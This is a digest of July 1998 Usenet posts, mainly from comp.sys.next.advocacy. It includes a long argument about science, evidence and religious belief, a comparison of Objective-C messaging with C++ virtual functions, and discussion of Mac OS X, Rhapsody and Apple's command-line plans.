References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
>> There is no confusion, nor does it matter who began the
>> evolution/creationism debate. I was simply observing that anyone who
>> argues from the position of "this is divine, revealed truth and thus not
>> subject to argument or refutation" has effectively ended the debate.
>
> Or maybe you meant to say that by definition theory is unproven (and not
> surprisingly, at the moment, unproveable).
No, I said precisely what I meant.
> If so, then I wholeheartedly agree. That doesn't rule out the possibility
> of debate, to be sure, but many people who dismiss the "supernatural" out
> of hand often claim that "I cannot debate this; you accept the existence
> of something you cannot prove, therefore we have no common ground."
Not precisely. A point subject to proof is one that is testable, refutable,
and verifiable. A point that does not exhibit these qualities is not
provable, and is thus in the domain of personal opinion.
> Ignoring the fact that they cannot 'prove' even their own existence,
Why bother? I don't need to prove my own existence. It's self-evident.
[ ... ]
> Precisely because the foundation of what I espouse is external to what
> Rationalism has accepted as 'reason'. Much as the existence of living
> coelacanths seemed 'unreasonable' to most evolutionary scientists before
> the discovery of actual living coelacanths reset those boundaries, that
> which challenges existing assertions and assumptions is considered
> 'unreasonable' in the scientific mind precisely because the
> Rationalistic faith presumes to elevate reason (as observed in the
> highest known animal, Man) to the status of infallibility (deity, if you
> will).
Ah, so many fallacies in one short paragraph. The primary one is that
someone being rational presumes their own infallibility, which is
sterotypical misrepresentation of science that the religious folk always
bring up.
Compare and contrast the proposition "the human mind was created, as was the
body" with "there are no coelacanths".
The latter proposition is subject to proof, and in fact _was_ refuted by
deep-sea explorations. Is there any way to refute the first proposition?
Can you tell me of any way that you would acknowledge the proposition to be
untrue?
> So, in essence, it's your God against mine. Semantically speaking, this
> is highly objectionable to the Rationalist, but it's true, nevertheless.
The process of reason and scientific method never makes the claim that it
knows all the answers, unlike religion. It's continuous process of
accumulating, testing, and refining knowledge.
>> because your claim is a de jure assertion that
>> you refuse to acknowledge that your "revealed truth" could be wrong.
>
> Much as the Rationalist refuses to acknowledge that "revealed truth"
> could be truth, indeed?
Not at all. The Rationalist requires that any proposition be testable,
refutable, and verifiable in order to consider it to be "truth". A
proposition that cannot be tested may or may not true, and "revealed truth"
falls into that category.
> The last five centuries have marked the development of an entire
> philosophy devoted to the belief that That Which Man Proveth Not,
> Existeth Not.
I wonder who holds that position? It's certainly not a Rationalist one;
Rationalists don't confuse a lack of proof with a negative assertion.
[ ... ]
>> Systems behave _differently_ depending on whether they are observed, as
>> experimental testing demonstrates. It has nothing to do with "Man's
>> limitations", because it doesn't matter whether the observer is a human,
>> a piece of polarized glass, a photosensitive plate, or anything else-- it
>> has to do with something fundamental about the way the world behaves.
>
> All true; the point, in fact, is that the act of observation, as far as
> we know it, is also an act of interference. The thus obsoleted notion
> that eyesight is a physically inconsequential act notwithstanding, how
> does this affect the existence of God?
It has no bearing.
[ ... ]
>> What these experiments do is remove the middle ground. Either you accept
>> the experimental evidence that quantum uncertainty is a genuine
>> description of how the world works, or you fall back on the proposition
>> that there's a divine puppeteer backstage, watching every sparrow fall,
>> guiding every conjugate pair of polarized light photons or neutral kaons
>> in precisely the right way to deceive the experimenters testing Bell's
>> inequality.
>
> In other words, the concept of uncertainty within creation and the
> existence of a Creator without are incompatible?
Nope.
However, either this proposed Creator is intervening-- and intervening at the
most detailed level in very precise ways because the consequences of tiny
changes at the subatomic level have macrosopic effects on the experimental
results and the development of human knowledge-- or he is not intervening at
all.
That behavior, where very small changes have large consequences is called the
butterfly effect and has been explored by aspects of chaos theory. Older
versions of the same notion were captured in the story, "for want of a
nail...the kingdom was lost"
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 18:41:23 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o0egj$nqg$1@news.spacelab.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net>
Michael Peck <mjpeck@nstar.net> wrote:
>> You're letting all this talk about proof do too much work for you. I
>> think CWS would settle for something less, like evidence. I know that I
>> would. It's just that most of us work with a rough principle of
>> proportionality: strong claims require strong evidence. That's a basic
>> principle of science. And that's what distinguishes science from
>> religion.
>
> They do? It takes an extraordinarily small amount of evidence to
> demonstrate that something exists; one must simply produce the thing.
Macrophysical objects _are_ easy to demonstrate. Other things, like
subatomic particles, have required a great deal of creativity and ingenuity
to produce convincing evidence for.
> Demonstration of existence must be very weak evidence;
Compared to what? I think you're setting up another strawman.
> indeed, Descartes assumed that he could prove his own existence as a
> direct consequence of his single assumption: "I think".
And, at least to him, his own existence was self-demonstrating by virtue of
the fact that "cognito ergo sum".
> Even so, to claim, mere decades ago, that the coelacanth existed would
> surely have aroused great indignation and snorts of derision.
Not quite. It would have been thought very unlikely, and someone claiming
that such things existed would have been required to provide adequate
evidence. Which in fact happened.
> The "strong claims/strong evidence" argument is nothing more than a
> common operating principle; it cannot underlie a system as absolute and
> infallible as science purports to be.
That strawman, again?
Science never claims to be absolute or infallible. It simply has developed a
method that gives you a chance to make the best (reasoned) answer given the
evidence and knowledge available to you at the time.
> If you claim that strong claims require strong evidence, and someone makes
> a claim but fails to provide sufficient evidence to satisfy you, you have
> two options: one, assume that you do not know the truth about this claim
> and continue in ignorance; two, assume that the claim is false.
The "continue in ignorance" is revealing of your prejudices. Rationalistic
behavior is to "assume that you do not know the truth about this claim, and
try to find ways of testing it".
> Which is your default position? Do you claim that claims of a created
> order are false? Or do you insist that you cannot know the truth?
Neither. I believe I can know the truth, and that claims of "a created
order" are not subject to testing, verification, and refutability (and thus
are unprovable).
[ ... ]
> The fallibility of evidence and of reason are not in question; only the
> fallibility of conclusions is mentioned in your paragraph, or assumed in
> the faith of science.
Science is not a "faith". It does not require anyone to believe in something
without evidence.
> This is odd, seeing as how evidence and reason are the only two
> ingredients claimed by adherents of the faith of science to
> be constitutionary to their conclusions. How can scientific beliefs be
> wrong if evidence and reason are sound?
Unlike religion, science does not claim to have absolute answers.
Scientific theories can and are revised in the face of new evidence.
> Does "new evidence" directly contradict old evidence, such that an
> impossible paradox is created? Or does "evidence" mean something besides
> objective truth? The fact that your faith admits to the existence of "new
> evidence" as "changing minds" means that conclusions are reached on the
> basis of *incomplete* evidence.
That's correct.
> Now, how can reason be engaged on the basis of anything but objective
> truth?
It's worked fairly well for a very large number of people. Engineers build
bridges, construction workers put up houses, experimental scientists deal
with noisy test data, and they've generally managed to get their jobs done.
[ ... ]
> All of this seems to indicate the following:
>
> 1) You do not claim to have complete possession of relevant evidence
> concerning matters of divinity.
Correct.
> 2) You do claim to act within reason.
Much of the time, yes. Sometimes I enjoy being unreasonable, too-- but I
usually do that in private, not while debating on Usenet.
> 3) You make conclusions despite your lack of evidence.
Nope. I draw conclusions when I have evidence.
> 4) Your default position is disbelief of any claims.
Nope. I simply want evidence proportionate to the degree of unlikelyhood of
the claim in question.
You're confusing Rationalism with Scepticism, now.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 8 Jul 1998 18:30:19 GMT
Organization: Rockwell International
Message-ID: <6o0drr$32e4@onews.collins.rockwell.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net>
<6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net>
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<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
<6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se>
<6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se>
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Cc: lars.farm@ite.mh.se
In <1dbl8ut.1f4p7iv11unjiN@dialup116-3-50.swipnet.se> Lars Farm wrote:
>
> - A callback is a pointer to a function.
> - A ST (or ObjC) method is a pointer to a function.
> - A C++ virtual member function is a pointer to a function.
>
> They're all the same. In all three cases the actual function to call is
> determined dynamically at runtime - dynamic binding. The difference is
> in how to find the address of the function.
>
All of the above represent dynamic binding. The distinction is primarily the
technique used to do the binding and the time at which things are bound. The
time is critical!
> A callback is managed by the programmer. He manually determines which
> function to call and assigns an address. The ST-method is found by a
> search in an area determined by the target object. The search is
> performed by the language run-time, using the method name (perhaps in
> coded form) as the key. The C++ virtual function is identical, but since
> the language allows more information to be used in the search it can be
> slightly more efficient, often using definition order within the class
> as key rather than name/signature, but the search could just as well be
> done exactly as in ST/ObjC.
The C++ virtual function is not identical to the ST or Objective-C message
and it has nothing to do with the amount of available information. No C++
compiler could implement ST style messaging and still satisfy the C++
specification. The semantics (meaning) of a message with a target and a
selector is entirely different than a vTable look-up. C++ MUST resolve/bind
all member functions to either a fixed address or a fixed offset in a vTable
at link time. There is no optional resolution allowed by the spec.
Objective-C (common variants) NEVER resolves a method invocation to its
receiver until run-time. Notice the time distinction. Since C++ MUST bind
at link time, all templates are expanded, the receiver of a member function
call must be known (at least by its class) and the member function that is
called MUST be known at link time. C++ has no equivalent of the Objective-C
selector. However, there are design patterns that simulate built in
selectors at the cost of many additional lines of code in C++.
>
> In all cases (method/virtual/callback) the search results in a pointer
> that contains the address of a function. This function is then called as
> any other function.
>
> No magic. Nothing new.
>
>
>
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 8 Jul 1998 18:48:44 GMT
Organization: Rockwell International
Message-ID: <6o0euc$32e5@onews.collins.rockwell.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com>
<slrn6q2sji.osk.sal@panix3.panix.com>
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In <slrn6q2sji.osk.sal@panix3.panix.com> Salvatore Denaro wrote:
> >It will leave them with a life
> >long after image saing "Apple is not for business, Apple is not for
business,
>
> They are saying that anyway. Rhapsody has a CLI and I don't see IS groups
> jumping over each other about it. FAIK, MacOSX will have a CLI as an
optional
> install part.
>
Oh come on... There are other reasons IS groups are not jumping on Rhapsody.
Some of those reasons have to do with the fact that it is orphaned before
release. Its only successor will have no command line.
Apple is pretty much uniformly loathed by corps. Why is that ? It is not
the fault of the customer that they do not want what Apple sells. Apple
needs to give customers what they want.
It seems Apple has some potential customers that won't buy something that has
a built in standard UNIX command line. I know Apple might have had some
potential customers who won't buy another _toy_ OS from Apple. It does no
good to tell IT professionals that it is not a toy. If it does not have the
features they want out of the box, they will not buy it. They might as well
buy Windows NT if they want that kind of hassle. There are endless reasons
to buy NT over MacOS. Give one reason to buy MacOS over NT from an IT
perspective. Take away the command line that would enable easy integration
with existing UNIX networks and you take one more item off a short list.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: MacOSX == Rhapsody
Date: 8 Jul 1998 18:59:23 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o0fib$kb1$1@lwnws01.ne.highway1.com>
Well in reading through all the expo news everywhere it seems that Rhapsody
will be called MacOSX. Thank goodness. This is what they should have done
to start things. Make it seem like they have a consistent strategy,
marketing or otherwise. So MacOSX will start out with intel support, and
hopefully, if demand and margins provide, it will stay that way.
Kudos, good news so far. (Touch wood). Hmmm, think I'll hold on to that
stock a bit longer.
I guess the question that remains for me is what is MacOSX's (PPC & Intel)
official release date?
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody
Date: 8 Jul 1998 19:37:30 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o0hpq$g24@newsb.netnews.att.com>
Originator: gupta@tlctest
There is a tide in the affairs of men
Which, taken at flood, leads on to fortune;
Omitted, all the voyage of their life
Is bound in shallows and in miseries.
Said tide approacheth for Rhapsody +.
Good luck,
-arun
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 8 Jul 1998 20:29:27 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o0kr7$n6q$1@lwnws01.ne.highway1.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com>
embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> It seems Apple has some potential customers that won't buy
> something that has a built in standard UNIX command line. I know
> Apple might have had some potential customers who won't buy
> another _toy_ OS from Apple. It does no good to tell IT
> professionals that it is not a toy. If it does not have the
> features they want out of the box, they will not buy it. They
> might as well buy Windows NT if they want that kind of hassle.
> There are endless reasons to buy NT over MacOS. Give one reason
> to buy MacOS over NT from an IT perspective. Take away the
> command line that would enable easy integration with existing
> UNIX networks and you take one more item off a short list.
Very eptly put. And the bottom line is that people in the work place spend
more money on stuff, and can force you to use whatever they shove down your
throat whether you like it or not. They a more important group to pander to.
Especially when the macBozo argument is based in "we don't like it, but don't
have any real good reason, but what how long I'll hold my breath." Let them
hold it till they're blue in the face and pass out. In the end they'll
follow suit like good lemmings, perhaps more disgruntled, with sigs espousing
how they don't use a command line. Big woop. No big loss. The IT types
however, won't follow suit as easily, not buy, and that is a big woop.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Wed, 08 Jul 1998 15:34:26 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A3D7D2.102B8996@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <6o0egj$nqg$1@news.spacelab.net>
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Charles W. Swiger wrote:
> Macrophysical objects _are_ easy to demonstrate. Other things, like
> subatomic particles, have required a great deal of creativity and ingenuity
> to produce convincing evidence for.
Therefore, on what basis is evidence measured? You say that "strong
claims require strong evidence", but your system of measurement eludes
me. Perhaps it is entirely subjective? In that case, the statement means
nothing.
Usually, the atheist appeals from here to common sense. Go ahead, I'd
love for you to do that.
> And, at least to him, his own existence was self-demonstrating by virtue of
> the fact that "cognito ergo sum".
Thanks. Without the Latin, something was really missing. I'm glad you
elevated the conversation thus without having to actually say anything
of consequence.
> Not quite. It would have been thought very unlikely, and someone claiming
> that such things existed would have been required to provide adequate
> evidence. Which in fact happened.
If I were an 1800s breadmaker and someone said to me "There are living
coelacanths!", I would have required strong evidence from them? Hmm, I
don't think so. Now, perhaps if I were an evolutionary scientist with an
ideological committment to my faith and cloudy presuppositions
concerning the ages of species, I would have required strong evidence.
Surely! Thou darest to tear down my beliefs? Show me the proof!
Even today, as evidence that carbon dating and other forms of "proof" of
the earth's age have been shown faulty, the scientific community
requires "strong evidence" that their entire house of cards is tumbling.
> > The "strong claims/strong evidence" argument is nothing more than a
> > common operating principle; it cannot underlie a system as absolute and
> > infallible as science purports to be.
>
> That strawman, again?
>
> Science never claims to be absolute or infallible. It simply has developed a
> method that gives you a chance to make the best (reasoned) answer given the
> evidence and knowledge available to you at the time.
Infallibility is demonstrated in the clarity with which science claims
to hold its positions. The longer a position has been held, the
"stronger evidence" is required to displace it. Once upon a time,
science and the church were one and the same institution. Have you
forgotten how Galileo was tortured by the Spanish Inquisition in the
name of Science and the Church?
Not long afterward, Science left the Church, but it never left its
presumptions of infallibility. See if it's possible to publish a paper
in a secular journal of science regarding suspicion that AZT is actually
harmful to HIV sufferers. See if it's possible to publish a paper with
the thesis "Einstein was wrong about relativity" and expect thoughtful
review by your peers in the community of science. A colleague doing PhD
work at TAMU cannot get anyone to look at his two-inch-thick sheaf of
documents regarding his alternative theory of relativity. An
administrator actually told him to clean up his Web page because it
presented parts of his theory.
It's ironic, since Einstein and Bohrs were, themselves, greatly
pilloried for daring to buck the established notions of the time. It
wasn't a case of "Good theory, please prove it", Einstein was often
called a lunatic in his day. Faith in "science" is nothing more than
jumping from conclusion to conclusion based on the most palatable
"evidence" available at the moment, jumping only when it suits one's
needs, and does least to damage the ego.
> > If you claim that strong claims require strong evidence, and someone makes
> > a claim but fails to provide sufficient evidence to satisfy you, you have
> > two options: one, assume that you do not know the truth about this claim
> > and continue in ignorance; two, assume that the claim is false.
>
> The "continue in ignorance" is revealing of your prejudices. Rationalistic
> behavior is to "assume that you do not know the truth about this claim, and
> try to find ways of testing it".
Only in freshman textbooks is it so. The mind of Science, in practice,
is almost never so lacking in subjective judgement. I invite you to
actually read something in JAMA or a leading journal of the physics
community.
Which is immaterial: this thread has been postulated as a conflict
between "rationality" and "superstition"; I need go no farther than this
thread to find evidence that if Rationalists you be, your description of
their philosophy bears no similarity to their actions.
> > Which is your default position? Do you claim that claims of a created
> > order are false? Or do you insist that you cannot know the truth?
>
> Neither. I believe I can know the truth, and that claims of "a created
> order" are not subject to testing, verification, and refutability (and thus
> are unprovable).
On what grounds are they not? Evolutionists seem to relish claiming that
Creation theories cannot be tested, ignoring the fact that their
explanations (usually devoid of evidence) come up short time after time.
I remember being a junior high school student, travelling to visit
family in Indianapolis; at the time I was fascinated by dinosaurs and an
educated believer in Evolution (of course, why not?). At the
Indianapolis library was an enormous book detailing every dinosaur
"known" to science, with fine print in the margin of each entry
explaining on what evidence the dinosaurs were "known":
3 teeth, found within a half-acre
Six footprints near a nest of empty eggshells
A femur and a patella, presumably the right leg
Entire species! Mating behavior, nesting habits, family trees,
evolutionary tracts, all based on such evidence. I was shaken when I
left the library.
> > The fallibility of evidence and of reason are not in question; only the
> > fallibility of conclusions is mentioned in your paragraph, or assumed in
> > the faith of science.
>
> Science is not a "faith". It does not require anyone to believe in something
> without evidence.
I sense an implicit definition in there. Would you draw it out for us,
explicitly?
> Unlike religion, science does not claim to have absolute answers.
> Scientific theories can and are revised in the face of new evidence.
This is my question, I'll ask it again: if evidence is sound and reason
is sound, how can conclusions be unsound, Chuck?
The answer, of course, is that evidence is not sound, and "scientific"
conclusions are rarely based on evidence, in any case.
> That's correct.
So if science claims that its answers are based on incomplete evidence,
how can reason be engaged? Reason, last I checked, is not a matter of
probabilities, percentages, and optimism but of logic.
Does science present any answers beyond what is postulated by a
percentage of people with a percentage of conviction for a percentage of
their lives? If new (STRONG!) evidence rolled in to the contrary
tomorrow, would you still believe that murder is wrong?
> > Now, how can reason be engaged on the basis of anything but objective
> > truth?
>
> It's worked fairly well for a very large number of people. Engineers build
> bridges, construction workers put up houses,
Both of whom pre-suppose that they are working with objective truth.
Engineers do not say "To the best of our knowledge, the tensile strength
of our steel is X", they say "The tensile strength of our steel is X".
Only by working from absolute presuppositions can they actually perform
the slightest actions or build the smallest bridges.
> experimental scientists deal
> with noisy test data, and they've generally managed to get their jobs done.
Also by working from presuppositions, many of which they conceal as
"probabilities" or "statistical likelihoods", or simply never verbalize
because they are never challenged. This seems to be the basis of
postmodern science: if we can all agree not to bother each other about
our presuppositions, we can all agree to bother everyone else about the
presuppositions which they hold and which we dislike.
Without making presuppositions about everything leading up to your
theory, you cannot actually propose a theory. You could, of course, say
"Assuming everything that I believe is true, I theorize that X is also
true". Anyone who does not agree with the basis of your theory must
assume that you have been the subject of false evidence or insane.
Insane, because that is the only conclusion we can draw about someone
who fails to properly reason from sound evidence.
> > 1) You do not claim to have complete possession of relevant evidence
> > concerning matters of divinity.
>
> Correct.
>
> > 2) You do claim to act within reason.
>
> Much of the time, yes. Sometimes I enjoy being unreasonable, too-- but I
> usually do that in private, not while debating on Usenet.
>
> > 3) You make conclusions despite your lack of evidence.
>
> Nope. I draw conclusions when I have evidence.
I assume that your grasp of English is such that you recognize that
"incomplete evidence" is a "lack of evidence". I did not say that you
completely lacked evidence, I said that you lacked evidence relevant to
your claims.
> > 4) Your default position is disbelief of any claims.
>
> Nope. I simply want evidence proportionate to the degree of unlikelyhood of
> the claim in question.
Wherein unlikelihood is measured arbitrarily against other
probabilities. There are no presuppositions, you don't know that you
exist (although, out of scientific character, you claimed that your
existence was 'self-evident'; I'll let someone else play havoc with
that), and yet you claim to be capable of measuring likelihoods of
evidence.
I suppose this is done according to 'common sense'? Or do you have a
yardstick that is not, also, based on relativity to other claims?
> You're confusing Rationalism with Scepticism, now.
Ooops. I'd like to keep you all clear in my mind, it's important to know
what one is engaging.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 8 Jul 1998 20:37:26 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o0la6$n6q$2@lwnws01.ne.highway1.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <6o0kr7$n6q$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
> Very eptly put. And the bottom line is that people in the work place spend
UG, very ineptly spelled!
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: aa158@valleynet.on.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 08 Jul 1998 21:20:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o0nr6$7kh$1@nnrp1.dejanews.com>
From the July 8 Macintouch:
" Jobs also noted the following...
750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
sold."
Comment: This would seem to be a strong incentive for Apple to get OS X
running on machines other than just the G3 models.
Richard
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 08 Jul 1998 16:36:07 -0700
Message-ID: <see-below-0807981636070001@dynamic56.pm03.mv.best.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
In article <6o0nr6$7kh$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
> From the July 8 Macintouch:
>
> " Jobs also noted the following...
>
> 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> sold."
>
>
> Comment: This would seem to be a strong incentive for Apple to get OS X
> running on machines other than just the G3 models.
G3 PowerMacs have been on the market for about 9 months, and non-G3
systems are still being sold (though much less now). There is more than a
year left before OS X is released. If the sales rate stays about the same,
we can expect there to be around 2 million G3 Macs by then. So far it
looks like Apple's sales are going up rather than down, Mac sales of
course are nearing 100% G3 now, and the iMac will probably contribute
strongly to this trend. So I'd guess there could be close to 3 million G3
machines out there by the time OS X arrives.
However, I do agree that I'd be very disappointed if OS X really did run
only on G3s. I don't care much whether Apple chooses to "support" my
computer, so long as it runs. Also, I'd only be a little disappointed if
OS X ran on most PCI PowerMacs, but didn't happen to run on my
configuration (Power Center), so long as they tried.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Wed, 08 Jul 1998 11:58:55 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0807981158550001@dante.eng.uci.edu>
References: <359A90F9.A546707D@alum.mit.edu> <35A2B0CB.A93502FC@ericsson.com> <6nupru$bcb@newsb.netnews.att.com> <rmcassid-0807980821360001@dante.eng.uci.edu> <6o0bck$fc3@newsb.netnews.att.com>
In article <6o0bck$fc3@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Robert Cassidy <rmcassid@uci.edu> wrote:
>
>>>Really ? I recall much of the history of science as being the struggle
>>>to demonstrate the existence of atoms, quarks, electrons, electromagnetic
>>>radiation, gravitational radiation, black holes, neutron stars, etc., etc.
>>>Demonstration of existence took or continues to take very hard intellectual
>>>work and considerable technological and financial resources. You will
>>>notice that "producing the thing" is possible only in very limited cases.
>>>Once it is beyond the scope of our five senses, it is hard.
>
>>Well, sorta. The history is the struggle to get technology to a point that
>>we can achieve the requirements of the prediction.
>> [much deleted]
>
>While what you wrote is essentially correct, I disagree somewhat on
>emphasis. People were expecting to find the Ws and the Z; people were
>expecting to find the top quark, and people are expecting to find
>the Higgs.
But they shouldn't, for doing so puts the theory and it's predictions into
a category along with everything else that we take on faith. As it is
faith in the ability of the theoretician that drives that expectation.
Rather, we should be skeptics and state that there is no Higgs but some
guy predicted that there would be and leave it at that. Now, if someone
demonstrates that under the conditions that the Higgs should exist that
there is in fact no absence of the Higgs but there is this thing that acts
in the manner that was predicted for the Higgs, then we could conclude
that we have found the Higgs. After all, sometimes things are found in
places that we are told to look that are not in fact what we were told to
look _for_.
This lesson (of faith in our scientists) gets repeated every so often.
Anyone remember cold fusion? Life on Mars looks to be going down a similar
path.
>Likewise, astronomers do point their telescopes and spend
>their quota of viewing time at places where they expect to find something,
>not necessarily merely to be able to shoot down something.
Oh, sure. But a big part of fields like astronomy is not taking a theory
and looking to prove it, but rather looking at what we see and trying to
explain it. It's the other end of science. Nobody even _thought_ to
develop a theory in the vein of quantum mechanics until this little
blackbody radiation problem was observed. Planck came up with a theory
that modelled the behavior and made certain predictions, and the
experimentalists had a new role. They presented the problem to begin with,
the theoretician took a stab at explaining it, the experimentalists then
need to show or deny support for the explanation. There is some of each
going on. But when astronomers look at the death of a star of > 3 solar
masses, they _should_ be trying *not* to find a black hole, rather than
